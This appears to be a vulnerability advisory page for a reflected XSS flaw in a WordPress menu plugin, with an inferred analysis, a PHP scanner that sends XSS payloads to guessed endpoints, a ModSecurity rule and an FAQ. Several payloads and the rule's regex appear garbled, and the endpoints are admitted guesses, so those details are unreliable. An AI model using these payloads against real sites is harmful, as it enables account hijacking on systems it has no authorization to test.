“`json
{
“analysis”: “Atomic Edge analysis of CVE-2025-68845 (metadata-based):nThe eDS Responsive Menu WordPress plugin version 1.2 contains a reflected cross-site scripting vulnerability. This vulnerability affects unauthenticated users through insufficient input sanitization and output escaping. The CVSS 6.1 score indicates medium severity with scope change implications.nnAtomic Edge research infers the root cause is improper neutralization of user input before web page generation. The CWE-79 classification confirms this as classic cross-site scripting. Without source code, we conclude the plugin likely echoes user-supplied parameters directly in HTTP responses without adequate escaping functions like `esc_html()` or `esc_attr()`. The vulnerability exists in the plugin’s frontend or admin interface where user input reaches output without validation.nnExploitation requires an attacker to craft a malicious URL containing JavaScript payloads in vulnerable parameters. Victims must click the attacker’s link while authenticated to WordPress. The payload executes in the victim’s browser context, potentially performing actions as the victim user. Attack vectors likely involve GET parameters in plugin-specific admin pages or frontend components that reflect user input.nnRemediation requires implementing proper output escaping on all user-controlled data. WordPress provides functions like `esc_html()`, `esc_attr()`, and `wp_kses()` for this purpose. The plugin should escape data at the point of output, not just during input sanitization. Input validation should also restrict allowed characters where feasible.nnSuccessful exploitation allows attackers to execute arbitrary JavaScript in the victim’s browser session. This can lead to session hijacking, administrative actions performed by victims, or content modification. The scope change (S:C) in the CVSS vector indicates the vulnerability can affect components beyond the plugin itself, potentially impacting the entire WordPress admin interface.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2025-68845 – eDS Responsive Menu <= 1.2 – Reflected Cross-Site Scriptingn<?phpn/**n * Proof of Concept for CVE-2025-68845n * This script demonstrates reflected XSS in eDS Responsive Menu plugin v1.2n * Without exact vulnerable endpoint, this PoC tests common WordPress plugin patternsn * Assumptions: Plugin echoes GET/POST parameters without proper escapingn */nn$target_url = 'http://vulnerable-wordpress-site.com';nn// Common WordPress plugin endpoints where XSS might occurn$endpoints = [n '/wp-admin/admin.php?page=eds-responsive-menu', // Admin pagen '/wp-admin/admin-ajax.php?action=eds_responsive_menu', // AJAX handlern '/wp-content/plugins/eds-responsive-menu/includes/menu.php', // Direct filen '/?eds_menu_param=test' // Frontend parametern];nn// XSS payloads to test reflectionn$payloads = [n 'alert(document.domain)’,n ‘”>‘,n ‘javascript:alert(1)’,n ‘`”‘>’n];nnforeach ($endpoints as $endpoint) {n echo “Testing endpoint: $endpoint\n”;n n foreach ($payloads as $payload) {n $test_url = $target_url . $endpoint . ‘&test_param=’ . urlencode($payload);n n $ch = curl_init();n curl_setopt($ch, CURLOPT_URL, $test_url);n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n n $response = curl_exec($ch);n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);n n // Check if payload appears in response without escapingn if (strpos($response, htmlspecialchars($payload, ENT_QUOTES)) === false && n strpos($response, $payload) !== false) {n echo “[VULNERABLE] Payload reflected at: $test_url\n”;n echo “Response contains unescaped payload.\n\n”;n }n n curl_close($ch);n usleep(100000); // Rate limitingn }n}nnecho “PoC complete. Manual verification required for successful exploitation.\n”;necho “Check browser developer tools for script execution in reflected responses.\n”;n?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-68845 (metadata-based)n# This rule targets reflected XSS in eDS Responsive Menu plugin v1.2n# Without specific vulnerable endpoint, we target plugin-specific parametersnSecRule REQUEST_URI “@rx /wp-admin/(admin\.php|admin-ajax\.php)” \n “id:202568845,phase:2,deny,status:403,chain,msg:’CVE-2025-68845: Reflected XSS in eDS Responsive Menu plugin’,severity:’CRITICAL’,tag:’CVE-2025-68845′,tag:’WordPress’,tag:’Plugin’,tag:’XSS'”n SecRule ARGS_GET:page “@streq eds-responsive-menu” \n “chain,t:none”n SecRule ARGS “@rx ]*>|javascript:|onload\s*=|onerror\s*=” \n “t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E””
}
“`
CVE-2025-68845: eDS Responsive Menu <= 1.2 – Reflected Cross-Site Scripting (eds-responsive-menu)
CVE-2025-68845
eds-responsive-menu
1.2
—
Analysis Overview
Differential between vulnerable and patched code
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
Frequently Asked Questions
What is CVE-2025-68845?
Understanding the vulnerabilityCVE-2025-68845 is a reflected cross-site scripting vulnerability found in the eDS Responsive Menu plugin for WordPress, affecting versions up to and including 1.2. This vulnerability allows unauthenticated attackers to inject arbitrary web scripts into web pages, which can execute if users are tricked into clicking a malicious link.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient input sanitization and output escaping within the plugin. Attackers can craft malicious URLs containing JavaScript payloads that, when accessed by a victim, execute scripts in the context of the victim’s browser, potentially allowing session hijacking or unauthorized actions.
Who is affected by this vulnerability?
Identifying at-risk usersAny WordPress site using the eDS Responsive Menu plugin version 1.2 or earlier is at risk. This includes sites where users can interact with the plugin’s frontend or admin interface, making it crucial for site administrators to verify their plugin version.
How can I check if my site is vulnerable?
Verification stepsTo check if your site is vulnerable, verify the version of the eDS Responsive Menu plugin installed. If it is version 1.2 or earlier, your site is at risk. Additionally, you can test for the vulnerability using the provided proof of concept, which attempts to exploit the reflected XSS.
What does the CVSS score of 6.1 indicate?
Understanding severityThe CVSS score of 6.1 classifies this vulnerability as medium severity. This score suggests that while the vulnerability is not critical, it poses a significant risk that could lead to serious consequences if exploited, such as unauthorized actions by attackers.
How can I fix this vulnerability?
Mitigation strategiesTo remediate this vulnerability, update the eDS Responsive Menu plugin to the latest version that addresses the issue. Additionally, ensure that proper output escaping is implemented for all user-controlled data using WordPress functions like esc_html() and esc_attr().
What are the potential risks of exploitation?
Consequences of successful attacksSuccessful exploitation of this vulnerability can allow attackers to execute arbitrary JavaScript in the victim’s browser session, leading to session hijacking, unauthorized actions, or content manipulation. This can compromise user accounts and the integrity of the website.
What is the proof of concept for this vulnerability?
Demonstration of the issueThe proof of concept provided demonstrates how to test for the reflected XSS vulnerability by sending crafted URLs to various endpoints of the plugin. It checks if the injected payload is reflected in the response without proper escaping, indicating a vulnerability.
How does the proof of concept work?
Technical details of the PoCThe proof of concept script targets common WordPress plugin endpoints where XSS might occur. It sends requests with malicious payloads and checks the responses for unescaped content, which would confirm the vulnerability.
What should I do if I cannot update the plugin immediately?
Temporary measuresIf an immediate update is not possible, consider implementing a Web Application Firewall (WAF) rule to block malicious requests targeting this vulnerability. Review your site’s access logs for suspicious activity and educate users about the risks of clicking unknown links.
Are there any additional resources for understanding this vulnerability?
Further readingFor more detailed information, consult the official CVE database entry for CVE-2025-68845, and consider reviewing WordPress security best practices. Engaging with the WordPress security community can also provide insights and updates.
What is reflected cross-site scripting?
Definition and implicationsReflected cross-site scripting (XSS) is a type of security vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. It typically occurs when user input is included in web responses without proper validation or escaping, allowing attackers to execute scripts in the context of the victim’s browser.
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